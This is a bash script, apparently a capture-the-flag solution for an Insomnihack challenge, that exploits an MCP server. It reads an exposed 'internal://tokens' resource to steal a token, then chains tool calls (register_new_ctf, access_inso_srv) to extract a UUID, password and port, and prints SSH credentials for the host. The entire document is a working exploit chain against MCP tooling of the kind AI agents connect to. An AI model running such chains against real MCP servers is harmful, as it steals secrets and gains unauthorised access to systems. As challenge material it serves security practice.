#!/bin/bash echo "[1] Getting token..." CURL1=$(curl -s -X POST https://insomcpwned.insomnihack.ch/mcp \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d '{"jsonrpc":"2.0","id":1,"method":"resources/read","params":{"uri":"internal://tokens"}}') echo "Curl 1 output: $CURL1" TOKEN=$(echo "$CURL1" | grep -oP '"text":"\K[^"]+' | head -1) echo "Token: $TOKEN" echo "[2] Registering CTF..." CURL2_BODY=$(jq -n --arg token "$TOKEN" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"register_new_ctf","arguments":{"token":$token}}}') CURL2=$(curl -s -X POST https://insomcpwned.insomnihack.ch/mcp \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d "$CURL2_BODY") echo "Curl 2 output: $CURL2" UUID=$(echo "$CURL2" | grep -oE '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}' | head -1) PASSWORD=$(echo "$CURL2" | grep -oP 'password: \K[^,\\]+' | head -1) echo "UUID: $UUID" echo "Password: $PASSWORD" echo "[3] Calling access_inso_srv..." CURL3_BODY=$(jq -n --arg uuid "$UUID" --arg password "$PASSWORD" --arg token "$TOKEN" \ '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"access_inso_srv","arguments":{"uuid":$uuid,"password":$password,"token":$token}}}') CURL3=$(curl -s -X POST https://insomcpwned.insomnihack.ch/mcp \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d "$CURL3_BODY") echo "Curl 3 output: $CURL3" PORT=$(echo "$CURL3" | grep -oE 'port [0-9]+' | grep -oE '[0-9]+' | head -1) echo "" echo "============================" echo "ssh -p $PORT $UUID@insomcpwned.insomnihack.ch" echo "Password: $PASSWORD" echo "============================"